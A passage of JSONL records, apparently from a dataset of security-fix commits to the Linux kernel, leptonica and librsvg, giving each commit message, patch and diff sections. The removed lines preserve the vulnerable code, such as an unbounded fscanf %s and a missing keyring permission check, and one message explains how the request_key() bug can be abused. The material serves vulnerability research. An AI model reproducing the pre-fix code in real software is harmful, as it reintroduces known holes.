S64_MAX;\n-\t\t\t}\n-\t\t} else {\n-\t\t\tdst_reg->smin_value =\n-\t\t\t\t(u64)(dst_reg->smin_value) >> umax_val;\n-\t\t}\n+\t\t/* BPF_RSH is an unsigned shift. If the value in dst_reg might\n+\t\t * be negative, then either:\n+\t\t * 1) src_reg might be zero, so the sign bit of the result is\n+\t\t * unknown, so we lose our signed bounds\n+\t\t * 2) it's known negative, thus the unsigned bounds capture the\n+\t\t * signed bounds\n+\t\t * 3) the signed bounds cross zero, so they tell us nothing\n+\t\t * about the result\n+\t\t * If the value in dst_reg is known nonnegative, then again the\n+\t\t * unsigned bounts capture the signed bounds.\n+\t\t * Thus, in all cases it suffices to blow away our signed bounds\n+\t\t * and rely on inferring new ones from the unsigned bounds and\n+\t\t * var_off of the result.\n+\t\t */\n+\t\tdst_reg->smin_value = S64_MIN;\n+\t\tdst_reg->smax_value = S64_MAX;\n \t\tif (src_known)\n \t\t\tdst_reg->var_off = tnum_rshift(dst_reg->var_off,\n \t\t\t\t\t\t umin_val);", "sections": [{"section": "@@ -2190,20 +2190,22 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,\n \t\t\tmark_reg_unknown(env, regs, insn->dst_reg);\n \t\t\tbreak;\n \t\t}\n-\t\t/* BPF_RSH is an unsigned shift, so make the appropriate casts */\n-\t\tif (dst_reg->smin_value < 0) {\n-\t\t\tif (umin_val) {\n-\t\t\t\t/* Sign bit will be cleared */\n-\t\t\t\tdst_reg->smin_value = 0;\n-\t\t\t} else {\n-\t\t\t\t/* Lost sign bit information */\n-\t\t\t\tdst_reg->smin_value = S64_MIN;\n-\t\t\t\tdst_reg->smax_value = S64_MAX;\n-\t\t\t}\n-\t\t} else {\n-\t\t\tdst_reg->smin_value =\n-\t\t\t\t(u64)(dst_reg->smin_value) >> umax_val;\n-\t\t}\n+\t\t/* BPF_RSH is an unsigned shift. If the value in dst_reg might\n+\t\t * be negative, then either:\n+\t\t * 1) src_reg might be zero, so the sign bit of the result is\n+\t\t * unknown, so we lose our signed bounds\n+\t\t * 2) it's known negative, thus the unsigned bounds capture the\n+\t\t * signed bounds\n+\t\t * 3) the signed bounds cross zero, so they tell us nothing\n+\t\t * about the result\n+\t\t * If the value in dst_reg is known nonnegative, then again the\n+\t\t * unsigned bounts capture the signed bounds.\n+\t\t * Thus, in all cases it suffices to blow away our signed bounds\n+\t\t * and rely on inferring new ones from the unsigned bounds and\n+\t\t * var_off of the result.\n+\t\t */\n+\t\tdst_reg->smin_value = S64_MIN;\n+\t\tdst_reg->smax_value = S64_MAX;\n \t\tif (src_known)\n \t\t\tdst_reg->var_off = tnum_rshift(dst_reg->var_off,\n \t\t\t\t\t\t umin_val);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "security/keys/request_key.c", "commit_id": "4dca6ea1d9432052afb06baf2e3ae78188a4410b", "commit_message": "KEYS: add missing permission check for request_key() destination\n\nWhen the request_key() syscall is not passed a destination keyring, it\nlinks the requested key (if constructed) into the \"default\" request-key\nkeyring. This should require Write permission to the keyring. However,\nthere is actually no permission check.\n\nThis can be abused to add keys to any keyring to which only Search\npermission is granted. This is because Search permission allows joining\nthe keyring. keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_SESSION_KEYRING)\nthen will set the default request-key keyring to the session keyring.\nThen, request_key() can be used to add keys to the keyring.\n\nBoth negatively and positively instantiated keys can be added using this\nmethod. Adding negative keys is trivial. Adding a positive key is a\nbit trickier. It requires that either /sbin/request-key positively\ninstantiates the key, or that another thread adds the key to the process\nkeyring at just the right time, such that request_key() misses it\ninitially but then finds it in construct_alloc_key().\n\nFix this bug by checking for Write permission to the keyring in\nconstruct_get_dest_keyring() when the default keyring is being used.\n\nWe don't do the permission check for non-default keyrings because that\nwas already done by the earlier call to lookup_user_key(). Also,\nrequest_key_and_link() is currently passed a 'struct key *' rather than\na key_ref_t, so the \"possessed\" bit is unavailable.\n\nWe also don't do the permission check for the \"requestor keyring\", to\ncontinue to support the use case described by commit 8bbf4976b59f\n(\"KEYS: Alter use of key instantiation link-to-keyring argument\") where\n/sbin/request-key recursively calls request_key() to add keys to the\noriginal requestor's destination keyring. (I don't know of any users\nwho actually do that, though...)\n\nFixes: 3e30148c3d52 (\"[PATCH] Keys: Make request-key create an authorisation key\")\nCc: \t# v2.6.13+\nSigned-off-by: Eric Biggers \nSigned-off-by: David Howells ", "patch": "@@ -251,11 +251,12 @@ static int construct_key(struct key *key, const void *callout_info,\n * The keyring selected is returned with an extra reference upon it which the\n * caller must release.\n */\n-static void construct_get_dest_keyring(struct key **_dest_keyring)\n+static int construct_get_dest_keyring(struct key **_dest_keyring)\n {\n \tstruct request_key_auth *rka;\n \tconst struct cred *cred = current_cred();\n \tstruct key *dest_keyring = *_dest_keyring, *authkey;\n+\tint ret;\n \n \tkenter(\"%p\", dest_keyring);\n \n@@ -264,6 +265,8 @@ static void construct_get_dest_keyring(struct key **_dest_keyring)\n \t\t/* the caller supplied one */\n \t\tkey_get(dest_keyring);\n \t} else {\n+\t\tbool do_perm_check = true;\n+\n \t\t/* use a default keyring; falling through the cases until we\n \t\t * find one that we actually have */\n \t\tswitch (cred->jit_keyring) {\n@@ -278,8 +281,10 @@ static void construct_get_dest_keyring(struct key **_dest_keyring)\n \t\t\t\t\tdest_keyring =\n \t\t\t\t\t\tkey_get(rka->dest_keyring);\n \t\t\t\tup_read(&authkey->sem);\n-\t\t\t\tif (dest_keyring)\n+\t\t\t\tif (dest_keyring) {\n+\t\t\t\t\tdo_perm_check = false;\n \t\t\t\t\tbreak;\n+\t\t\t\t}\n \t\t\t}\n \n \t\tcase KEY_REQKEY_DEFL_THREAD_KEYRING:\n@@ -314,11 +319,29 @@ static void construct_get_dest_keyring(struct key **_dest_keyring)\n \t\tdefault:\n \t\t\tBUG();\n \t\t}\n+\n+\t\t/*\n+\t\t * Require Write permission on the keyring. This is essential\n+\t\t * because the default keyring may be the session keyring, and\n+\t\t * joining a keyring only requires Search permission.\n+\t\t *\n+\t\t * However, this check is skipped for the \"requestor keyring\" so\n+\t\t * that /sbin/request-key can itself use request_key() to add\n+\t\t * keys to the original requestor's destination keyring.\n+\t\t */\n+\t\tif (dest_keyring && do_perm_check) {\n+\t\t\tret = key_permission(make_key_ref(dest_keyring, 1),\n+\t\t\t\t\t KEY_NEED_WRITE);\n+\t\t\tif (ret) {\n+\t\t\t\tkey_put(dest_keyring);\n+\t\t\t\treturn ret;\n+\t\t\t}\n+\t\t}\n \t}\n \n \t*_dest_keyring = dest_keyring;\n \tkleave(\" [dk %d]\", key_serial(dest_keyring));\n-\treturn;\n+\treturn 0;\n }\n \n /*\n@@ -444,11 +467,15 @@ static struct key *construct_key_and_link(struct keyring_search_context *ctx,\n \tif (ctx->index_key.type == &key_type_keyring)\n \t\treturn ERR_PTR(-EPERM);\n \n-\tuser = key_user_lookup(current_fsuid());\n-\tif (!user)\n-\t\treturn ERR_PTR(-ENOMEM);\n+\tret = construct_get_dest_keyring(&dest_keyring);\n+\tif (ret)\n+\t\tgoto error;\n \n-\tconstruct_get_dest_keyring(&dest_keyring);\n+\tuser = key_user_lookup(current_fsuid());\n+\tif (!user) {\n+\t\tret = -ENOMEM;\n+\t\tgoto error_put_dest_keyring;\n+\t}\n \n \tret = construct_alloc_key(ctx, dest_keyring, flags, user, &key);\n \tkey_user_put(user);\n@@ -463,7 +490,7 @@ static struct key *construct_key_and_link(struct keyring_search_context *ctx,\n \t} else if (ret == -EINPROGRESS) {\n \t\tret = 0;\n \t} else {\n-\t\tgoto couldnt_alloc_key;\n+\t\tgoto error_put_dest_keyring;\n \t}\n \n \tkey_put(dest_keyring);\n@@ -473,8 +500,9 @@ static struct key *construct_key_and_link(struct keyring_search_context *ctx,\n construction_failed:\n \tkey_negate_and_link(key, key_negative_timeout, NULL, NULL);\n \tkey_put(key);\n-couldnt_alloc_key:\n+error_put_dest_keyring:\n \tkey_put(dest_keyring);\n+error:\n \tkleave(\" = %d\", ret);\n \treturn ERR_PTR(ret);\n }", "sections": [{"section": "@@ -251,11 +251,12 @@ static int construct_key(struct key *key, const void *callout_info,\n * The keyring selected is returned with an extra reference upon it which the\n * caller must release.\n */\n-static void construct_get_dest_keyring(struct key **_dest_keyring)\n+static int construct_get_dest_keyring(struct key **_dest_keyring)\n {\n \tstruct request_key_auth *rka;\n \tconst struct cred *cred = current_cred();\n \tstruct key *dest_keyring = *_dest_keyring, *authkey;\n+\tint ret;\n \n \tkenter(\"%p\", dest_keyring);\n \n", "related": false}, {"section": "@@ -264,6 +265,8 @@ static void construct_get_dest_keyring(struct key **_dest_keyring)\n \t\t/* the caller supplied one */\n \t\tkey_get(dest_keyring);\n \t} else {\n+\t\tbool do_perm_check = true;\n+\n \t\t/* use a default keyring; falling through the cases until we\n \t\t * find one that we actually have */\n \t\tswitch (cred->jit_keyring) {\n", "related": false}, {"section": "@@ -278,8 +281,10 @@ static void construct_get_dest_keyring(struct key **_dest_keyring)\n \t\t\t\t\tdest_keyring =\n \t\t\t\t\t\tkey_get(rka->dest_keyring);\n \t\t\t\tup_read(&authkey->sem);\n-\t\t\t\tif (dest_keyring)\n+\t\t\t\tif (dest_keyring) {\n+\t\t\t\t\tdo_perm_check = false;\n \t\t\t\t\tbreak;\n+\t\t\t\t}\n \t\t\t}\n \n \t\tcase KEY_REQKEY_DEFL_THREAD_KEYRING:\n", "related": false}, {"section": "@@ -314,11 +319,29 @@ static void construct_get_dest_keyring(struct key **_dest_keyring)\n \t\tdefault:\n \t\t\tBUG();\n \t\t}\n+\n+\t\t/*\n+\t\t * Require Write permission on the keyring. This is essential\n+\t\t * because the default keyring may be the session keyring, and\n+\t\t * joining a keyring only requires Search permission.\n+\t\t *\n+\t\t * However, this check is skipped for the \"requestor keyring\" so\n+\t\t * that /sbin/request-key can itself use request_key() to add\n+\t\t * keys to the original requestor's destination keyring.\n+\t\t */\n+\t\tif (dest_keyring && do_perm_check) {\n+\t\t\tret = key_permission(make_key_ref(dest_keyring, 1),\n+\t\t\t\t\t KEY_NEED_WRITE);\n+\t\t\tif (ret) {\n+\t\t\t\tkey_put(dest_keyring);\n+\t\t\t\treturn ret;\n+\t\t\t}\n+\t\t}\n \t}\n \n \t*_dest_keyring = dest_keyring;\n \tkleave(\" [dk %d]\", key_serial(dest_keyring));\n-\treturn;\n+\treturn 0;\n }\n \n /*\n", "related": false}, {"section": "@@ -444,11 +467,15 @@ static struct key *construct_key_and_link(struct keyring_search_context *ctx,\n \tif (ctx->index_key.type == &key_type_keyring)\n \t\treturn ERR_PTR(-EPERM);\n \n-\tuser = key_user_lookup(current_fsuid());\n-\tif (!user)\n-\t\treturn ERR_PTR(-ENOMEM);\n+\tret = construct_get_dest_keyring(&dest_keyring);\n+\tif (ret)\n+\t\tgoto error;\n \n-\tconstruct_get_dest_keyring(&dest_keyring);\n+\tuser = key_user_lookup(current_fsuid());\n+\tif (!user) {\n+\t\tret = -ENOMEM;\n+\t\tgoto error_put_dest_keyring;\n+\t}\n \n \tret = construct_alloc_key(ctx, dest_keyring, flags, user, &key);\n \tkey_user_put(user);\n", "related": false}, {"section": "@@ -463,7 +490,7 @@ static struct key *construct_key_and_link(struct keyring_search_context *ctx,\n \t} else if (ret == -EINPROGRESS) {\n \t\tret = 0;\n \t} else {\n-\t\tgoto couldnt_alloc_key;\n+\t\tgoto error_put_dest_keyring;\n \t}\n \n \tkey_put(dest_keyring);\n", "related": false}, {"section": "@@ -473,8 +500,9 @@ static struct key *construct_key_and_link(struct keyring_search_context *ctx,\n construction_failed:\n \tkey_negate_and_link(key, key_negative_timeout, NULL, NULL);\n \tkey_put(key);\n-couldnt_alloc_key:\n+error_put_dest_keyring:\n \tkey_put(dest_keyring);\n+error:\n \tkleave(\" = %d\", ret);\n \treturn ERR_PTR(ret);\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/input/serio/i8042.c", "commit_id": "340d394a789518018f834ff70f7534fc463d3226", "commit_message": "Input: i8042 - fix crash at boot time\n\nThe driver checks port->exists twice in i8042_interrupt(), first when\ntrying to assign temporary \"serio\" variable, and second time when deciding\nwhether it should call serio_interrupt(). The value of port->exists may\nchange between the 2 checks, and we may end up calling serio_interrupt()\nwith a NULL pointer:\n\nBUG: unable to handle kernel NULL pointer dereference at 0000000000000050\nIP: [] _spin_lock_irqsave+0x1f/0x40\nPGD 0\nOops: 0002 [#1] SMP\nlast sysfs file:\nCPU 0\nModules linked in:\n\nPid: 1, comm: swapper Not tainted 2.6.32-358.el6.x86_64 #1 QEMU Standard PC (i440FX + PIIX, 1996)\nRIP: 0010:[] [] _spin_lock_irqsave+0x1f/0x40\nRSP: 0018:ffff880028203cc0 EFLAGS: 00010082\nRAX: 0000000000010000 RBX: 0000000000000000 RCX: 0000000000000000\nRDX: 0000000000000282 RSI: 0000000000000098 RDI: 0000000000000050\nRBP: ffff880028203cc0 R08: ffff88013e79c000 R09: ffff880028203ee0\nR10: 0000000000000298 R11: 0000000000000282 R12: 0000000000000050\nR13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000098\nFS: 0000000000000000(0000) GS:ffff880028200000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b\nCR2: 0000000000000050 CR3: 0000000001a85000 CR4: 00000000001407f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400\nProcess swapper (pid: 1, threadinfo ffff88013e79c000, task ffff88013e79b500)\nStack:\nffff880028203d00 ffffffff813de186 ffffffffffffff02 0000000000000000\n 0000000000000000 0000000000000000 0000000000000000 0000000000000098\n ffff880028203d70 ffffffff813e0162 ffff880028203d20 ffffffff8103b8ac\nCall Trace:\n\n [] serio_interrupt+0x36/0xa0\n[] i8042_interrupt+0x132/0x3a0\n[] ? kvm_clock_read+0x1c/0x20\n[] ? kvm_clock_get_cycles+0x9/0x10\n[] handle_IRQ_event+0x60/0x170\n[] ? kvm_guest_apic_eoi_write+0x44/0x50\n[] handle_edge_irq+0xde/0x180\n[] handle_irq+0x49/0xa0\n[] do_IRQ+0x6c/0xf0\n[] ret_from_intr+0x0/0x11\n[] ? __do_softirq+0x73/0x1e0\n[] ? hrtimer_interrupt+0x14b/0x260\n[] ? call_softirq+0x1c/0x30\n[] ? do_softirq+0x65/0xa0\n[] ? irq_exit+0x85/0x90\n[] ? smp_apic_timer_interrupt+0x70/0x9b\n[] ? apic_timer_interrupt+0x13/0x20\n\nTo avoid the issue let's change the second check to test whether serio is\nNULL or not.\n\nAlso, let's take i8042_lock in i8042_start() and i8042_stop() instead of\ntrying to be overly smart and using memory barriers.\n\nSigned-off-by: Chen Hong \n[dtor: take lock in i8042_start()/i8042_stop()]\nCc: stable@vger.kernel.org\nSigned-off-by: Dmitry Torokhov ", "patch": "@@ -436,8 +436,10 @@ static int i8042_start(struct serio *serio)\n {\n \tstruct i8042_port *port = serio->port_data;\n \n+\tspin_lock_irq(&i8042_lock);\n \tport->exists = true;\n-\tmb();\n+\tspin_unlock_irq(&i8042_lock);\n+\n \treturn 0;\n }\n \n@@ -450,16 +452,20 @@ static void i8042_stop(struct serio *serio)\n {\n \tstruct i8042_port *port = serio->port_data;\n \n+\tspin_lock_irq(&i8042_lock);\n \tport->exists = false;\n+\tport->serio = NULL;\n+\tspin_unlock_irq(&i8042_lock);\n \n \t/*\n+\t * We need to make sure that interrupt handler finishes using\n+\t * our serio port before we return from this function.\n \t * We synchronize with both AUX and KBD IRQs because there is\n \t * a (very unlikely) chance that AUX IRQ is raised for KBD port\n \t * and vice versa.\n \t */\n \tsynchronize_irq(I8042_AUX_IRQ);\n \tsynchronize_irq(I8042_KBD_IRQ);\n-\tport->serio = NULL;\n }\n \n /*\n@@ -576,7 +582,7 @@ static irqreturn_t i8042_interrupt(int irq, void *dev_id)\n \n \tspin_unlock_irqrestore(&i8042_lock, flags);\n \n-\tif (likely(port->exists && !filtered))\n+\tif (likely(serio && !filtered))\n \t\tserio_interrupt(serio, data, dfl);\n \n out:", "sections": [{"section": "@@ -436,8 +436,10 @@ static int i8042_start(struct serio *serio)\n {\n \tstruct i8042_port *port = serio->port_data;\n \n+\tspin_lock_irq(&i8042_lock);\n \tport->exists = true;\n-\tmb();\n+\tspin_unlock_irq(&i8042_lock);\n+\n \treturn 0;\n }\n \n", "related": false}, {"section": "@@ -450,16 +452,20 @@ static void i8042_stop(struct serio *serio)\n {\n \tstruct i8042_port *port = serio->port_data;\n \n+\tspin_lock_irq(&i8042_lock);\n \tport->exists = false;\n+\tport->serio = NULL;\n+\tspin_unlock_irq(&i8042_lock);\n \n \t/*\n+\t * We need to make sure that interrupt handler finishes using\n+\t * our serio port before we return from this function.\n \t * We synchronize with both AUX and KBD IRQs because there is\n \t * a (very unlikely) chance that AUX IRQ is raised for KBD port\n \t * and vice versa.\n \t */\n \tsynchronize_irq(I8042_AUX_IRQ);\n \tsynchronize_irq(I8042_KBD_IRQ);\n-\tport->serio = NULL;\n }\n \n /*\n", "related": false}, {"section": "@@ -576,7 +582,7 @@ static irqreturn_t i8042_interrupt(int irq, void *dev_id)\n \n \tspin_unlock_irqrestore(&i8042_lock, flags);\n \n-\tif (likely(port->exists && !filtered))\n+\tif (likely(serio && !filtered))\n \t\tserio_interrupt(serio, data, dfl);\n \n out:", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/block/loop.c", "commit_id": "ae6650163c66a7eff1acd6eb8b0f752dcfa8eba5", "commit_message": "loop: fix concurrent lo_open/lo_release\n\n范龙飞 reports that KASAN can report a use-after-free in __lock_acquire.\nThe reason is due to insufficient serialization in lo_release(), which\nwill continue to use the loop device even after it has decremented the\nlo_refcnt to zero.\n\nIn the meantime, another process can come in, open the loop device\nagain as it is being shut down. Confusion ensues.\n\nReported-by: 范龙飞 \nSigned-off-by: Linus Torvalds \nSigned-off-by: Jens Axboe ", "patch": "@@ -1581,9 +1581,8 @@ static int lo_open(struct block_device *bdev, fmode_t mode)\n \treturn err;\n }\n \n-static void lo_release(struct gendisk *disk, fmode_t mode)\n+static void __lo_release(struct loop_device *lo)\n {\n-\tstruct loop_device *lo = disk->private_data;\n \tint err;\n \n \tif (atomic_dec_return(&lo->lo_refcnt))\n@@ -1610,6 +1609,13 @@ static void lo_release(struct gendisk *disk, fmode_t mode)\n \tmutex_unlock(&lo->lo_ctl_mutex);\n }\n \n+static void lo_release(struct gendisk *disk, fmode_t mode)\n+{\n+\tmutex_lock(&loop_index_mutex);\n+\t__lo_release(disk->private_data);\n+\tmutex_unlock(&loop_index_mutex);\n+}\n+\n static const struct block_device_operations lo_fops = {\n \t.owner =\tTHIS_MODULE,\n \t.open =\t\tlo_open,", "sections": [{"section": "@@ -1581,9 +1581,8 @@ static int lo_open(struct block_device *bdev, fmode_t mode)\n \treturn err;\n }\n \n-static void lo_release(struct gendisk *disk, fmode_t mode)\n+static void __lo_release(struct loop_device *lo)\n {\n-\tstruct loop_device *lo = disk->private_data;\n \tint err;\n \n \tif (atomic_dec_return(&lo->lo_refcnt))\n", "related": false}, {"section": "@@ -1610,6 +1609,13 @@ static void lo_release(struct gendisk *disk, fmode_t mode)\n \tmutex_unlock(&lo->lo_ctl_mutex);\n }\n \n+static void lo_release(struct gendisk *disk, fmode_t mode)\n+{\n+\tmutex_lock(&loop_index_mutex);\n+\t__lo_release(disk->private_data);\n+\tmutex_unlock(&loop_index_mutex);\n+}\n+\n static const struct block_device_operations lo_fops = {\n \t.owner =\tTHIS_MODULE,\n \t.open =\t\tlo_open,", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "mm/oom_kill.c", "commit_id": "687cb0884a714ff484d038e9190edc874edcf146", "commit_message": "mm, oom_reaper: gather each vma to prevent leaking TLB entry\n\ntlb_gather_mmu(&tlb, mm, 0, -1) means gathering the whole virtual memory\nspace. In this case, tlb->fullmm is true. Some archs like arm64\ndoesn't flush TLB when tlb->fullmm is true:\n\n commit 5a7862e83000 (\"arm64: tlbflush: avoid flushing when fullmm == 1\").\n\nWhich causes leaking of tlb entries.\n\nWill clarifies his patch:\n \"Basically, we tag each address space with an ASID (PCID on x86) which\n is resident in the TLB. This means we can elide TLB invalidation when\n pulling down a full mm because we won't ever assign that ASID to\n another mm without doing TLB invalidation elsewhere (which actually\n just nukes the whole TLB).\n\n I think that means that we could potentially not fault on a kernel\n uaccess, because we could hit in the TLB\"\n\nThere could be a window between complete_signal() sending IPI to other\ncores and all threads sharing this mm are really kicked off from cores.\nIn this window, the oom reaper may calls tlb_flush_mmu_tlbonly() to\nflush TLB then frees pages. However, due to the above problem, the TLB\nentries are not really flushed on arm64. Other threads are possible to\naccess these pages through TLB entries. Moreover, a copy_to_user() can\nalso write to these pages without generating page fault, causes\nuse-after-free bugs.\n\nThis patch gathers each vma instead of gathering full vm space. In this\ncase tlb->fullmm is not true. The behavior of oom reaper become similar\nto munmapping before do_exit, which should be safe for all archs.\n\nLink: http://lkml.kernel.org/r/20171107095453.179940-1-wangnan0@huawei.com\nFixes: aac453635549 (\"mm, oom: introduce oom reaper\")\nSigned-off-by: Wang Nan \nAcked-by: Michal Hocko \nAcked-by: David Rientjes \nCc: Minchan Kim \nCc: Will Deacon \nCc: Bob Liu \nCc: Ingo Molnar \nCc: Roman Gushchin \nCc: Konstantin Khlebnikov \nCc: Andrea Arcangeli \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds ", "patch": "@@ -550,7 +550,6 @@ static bool __oom_reap_task_mm(struct task_struct *tsk, struct mm_struct *mm)\n \t */\n \tset_bit(MMF_UNSTABLE, &mm->flags);\n \n-\ttlb_gather_mmu(&tlb, mm, 0, -1);\n \tfor (vma = mm->mmap ; vma; vma = vma->vm_next) {\n \t\tif (!can_madv_dontneed_vma(vma))\n \t\t\tcontinue;\n@@ -565,11 +564,13 @@ static bool __oom_reap_task_mm(struct task_struct *tsk, struct mm_struct *mm)\n \t\t * we do not want to block exit_mmap by keeping mm ref\n \t\t * count elevated without a good reason.\n \t\t */\n-\t\tif (vma_is_anonymous(vma) || !(vma->vm_flags & VM_SHARED))\n+\t\tif (vma_is_anonymous(vma) || !(vma->vm_flags & VM_SHARED)) {\n+\t\t\ttlb_gather_mmu(&tlb, mm, vma->vm_start, vma->vm_end);\n \t\t\tunmap_page_range(&tlb, vma, vma->vm_start, vma->vm_end,\n \t\t\t\t\t NULL);\n+\t\t\ttlb_finish_mmu(&tlb, vma->vm_start, vma->vm_end);\n+\t\t}\n \t}\n-\ttlb_finish_mmu(&tlb, 0, -1);\n \tpr_info(\"oom_reaper: reaped process %d (%s), now anon-rss:%lukB, file-rss:%lukB, shmem-rss:%lukB\\n\",\n \t\t\ttask_pid_nr(tsk), tsk->comm,\n \t\t\tK(get_mm_counter(mm, MM_ANONPAGES)),", "sections": [{"section": "@@ -550,7 +550,6 @@ static bool __oom_reap_task_mm(struct task_struct *tsk, struct mm_struct *mm)\n \t */\n \tset_bit(MMF_UNSTABLE, &mm->flags);\n \n-\ttlb_gather_mmu(&tlb, mm, 0, -1);\n \tfor (vma = mm->mmap ; vma; vma = vma->vm_next) {\n \t\tif (!can_madv_dontneed_vma(vma))\n \t\t\tcontinue;\n", "related": false}, {"section": "@@ -565,11 +564,13 @@ static bool __oom_reap_task_mm(struct task_struct *tsk, struct mm_struct *mm)\n \t\t * we do not want to block exit_mmap by keeping mm ref\n \t\t * count elevated without a good reason.\n \t\t */\n-\t\tif (vma_is_anonymous(vma) || !(vma->vm_flags & VM_SHARED))\n+\t\tif (vma_is_anonymous(vma) || !(vma->vm_flags & VM_SHARED)) {\n+\t\t\ttlb_gather_mmu(&tlb, mm, vma->vm_start, vma->vm_end);\n \t\t\tunmap_page_range(&tlb, vma, vma->vm_start, vma->vm_end,\n \t\t\t\t\t NULL);\n+\t\t\ttlb_finish_mmu(&tlb, vma->vm_start, vma->vm_end);\n+\t\t}\n \t}\n-\ttlb_finish_mmu(&tlb, 0, -1);\n \tpr_info(\"oom_reaper: reaped process %d (%s), now anon-rss:%lukB, file-rss:%lukB, shmem-rss:%lukB\\n\",\n \t\t\ttask_pid_nr(tsk), tsk->comm,\n \t\t\tK(get_mm_counter(mm, MM_ANONPAGES)),", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/f2fs/super.c", "commit_id": "638164a2718f337ea224b747cf5977ef143166a4", "commit_message": "f2fs: fix potential panic during fstrim\n\nAs Ju Hyung Park reported:\n\n\"When 'fstrim' is called for manual trim, a BUG() can be triggered\nrandomly with this patch.\n\nI'm seeing this issue on both x86 Desktop and arm64 Android phone.\n\nOn x86 Desktop, this was caused during Ubuntu boot-up. I have a\ncronjob installed which calls 'fstrim -v /' during boot. On arm64\nAndroid, this was caused during GC looping with 1ms gc_min_sleep_time\n& gc_max_sleep_time.\"\n\nRoot cause of this issue is that f2fs_wait_discard_bios can only be\nused by f2fs_put_super, because during put_super there must be no\nother referrers, so it can ignore discard entry's reference count\nwhen removing the entry, otherwise in other caller we will hit bug_on\nin __remove_discard_cmd as there may be other issuer added reference\ncount in discard entry.\n\nThread A\t\t\t\tThread B\n\t\t\t\t\t- issue_discard_thread\n- f2fs_ioc_fitrim\n - f2fs_trim_fs\n - f2fs_wait_discard_bios\n - __issue_discard_cmd\n - __submit_discard_cmd\n\t\t\t\t\t - __wait_discard_cmd\n\t\t\t\t\t - dc->ref++\n\t\t\t\t\t - __wait_one_discard_bio\n - __wait_discard_cmd\n - __remove_discard_cmd\n - f2fs_bug_on(sbi, dc->ref)\n\nFixes: 969d1b180d987c2be02de890d0fff0f66a0e80de\nReported-by: Ju Hyung Park \nSigned-off-by: Chao Yu \nSigned-off-by: Jaegeuk Kim ", "patch": "@@ -801,7 +801,7 @@ static void f2fs_put_super(struct super_block *sb)\n \t}\n \n \t/* be sure to wait for any on-going discard commands */\n-\tf2fs_wait_discard_bios(sbi);\n+\tf2fs_wait_discard_bios(sbi, true);\n \n \tif (f2fs_discard_en(sbi) && !sbi->discard_blks) {\n \t\tstruct cp_control cpc = {", "sections": [{"section": "@@ -801,7 +801,7 @@ static void f2fs_put_super(struct super_block *sb)\n \t}\n \n \t/* be sure to wait for any on-going discard commands */\n-\tf2fs_wait_discard_bios(sbi);\n+\tf2fs_wait_discard_bios(sbi, true);\n \n \tif (f2fs_discard_en(sbi) && !sbi->discard_blks) {\n \t\tstruct cp_control cpc = {", "related": false}]} +{"owner": "danbloomberg", "repo": "leptonica", "language": "C", "file_name": "src/ptabasic.c", "commit_id": "ee301cb2029db8a6289c5295daa42bba7715e99a", "commit_message": "Security fixes: expect final changes for release 1.75.3.\n* Fixed a debian security issue with fscanf() reading a string with\n possible buffer overflow.\n* There were also a few similar situations with sscanf().", "patch": "@@ -689,7 +689,7 @@ PTA *pta;\n PTA *\n ptaReadStream(FILE *fp)\n {\n-char typestr[128];\n+char typestr[128]; /* hardcoded below in fscanf */\n l_int32 i, n, ix, iy, type, version;\n l_float32 x, y;\n PTA *pta;\n@@ -703,7 +703,7 @@ PTA *pta;\n return (PTA *)ERROR_PTR(\"not a pta file\", procName, NULL);\n if (version != PTA_VERSION_NUMBER)\n return (PTA *)ERROR_PTR(\"invalid pta version\", procName, NULL);\n- if (fscanf(fp, \" Number of pts = %d; format = %s\\n\", &n, typestr) != 2)\n+ if (fscanf(fp, \" Number of pts = %d; format = %127s\\n\", &n, typestr) != 2)\n return (PTA *)ERROR_PTR(\"not a pta file\", procName, NULL);\n if (!strcmp(typestr, \"float\"))\n type = 0;", "sections": [{"section": "@@ -689,7 +689,7 @@ PTA *pta;\n PTA *\n ptaReadStream(FILE *fp)\n {\n-char typestr[128];\n+char typestr[128]; /* hardcoded below in fscanf */\n l_int32 i, n, ix, iy, type, version;\n l_float32 x, y;\n PTA *pta;\n", "related": true}, {"section": "@@ -703,7 +703,7 @@ PTA *pta;\n return (PTA *)ERROR_PTR(\"not a pta file\", procName, NULL);\n if (version != PTA_VERSION_NUMBER)\n return (PTA *)ERROR_PTR(\"invalid pta version\", procName, NULL);\n- if (fscanf(fp, \" Number of pts = %d; format = %s\\n\", &n, typestr) != 2)\n+ if (fscanf(fp, \" Number of pts = %d; format = %127s\\n\", &n, typestr) != 2)\n return (PTA *)ERROR_PTR(\"not a pta file\", procName, NULL);\n if (!strcmp(typestr, \"float\"))\n type = 0;", "related": true}]} +{"owner": "gnome", "repo": "librsvg", "language": "C", "file_name": "rsvg-io.c", "commit_id": "c6ddf2ed4d768fd88adbea2b63f575cd523022ea", "commit_message": "Merge branch 'no-xrefs-in-paint-servers'", "patch": "@@ -1,3 +1,4 @@\n+/* -*- Mode: C; indent-tabs-mode: nil; c-basic-offset: 4 -*- */\n /*\n Copyright (C) 2000 Eazel, Inc.\n Copyright (C) 2002, 2003, 2004, 2005 Dom Lachowicz \n@@ -66,11 +67,10 @@ uri_decoded_copy (const char *part,\n #define BASE64_INDICATOR_LEN (sizeof (\";base64\") - 1)\n \n static char *\n-rsvg_acquire_data_data (const char *uri,\n- const char *base_uri, \n- char **out_mime_type,\n- gsize *out_len,\n- GError **error)\n+rsvg_decode_data_uri (const char *uri,\n+ char **out_mime_type,\n+ gsize *out_len,\n+ GError **error)\n {\n const char *comma, *start, *end;\n char *mime_type;\n@@ -124,56 +124,32 @@ rsvg_acquire_data_data (const char *uri,\n return data;\n }\n \n-gchar *\n-_rsvg_io_get_file_path (const gchar * filename,\n- const gchar * base_uri)\n-{\n- gchar *absolute_filename;\n-\n- if (g_file_test (filename, G_FILE_TEST_EXISTS) || g_path_is_absolute (filename)) {\n- absolute_filename = 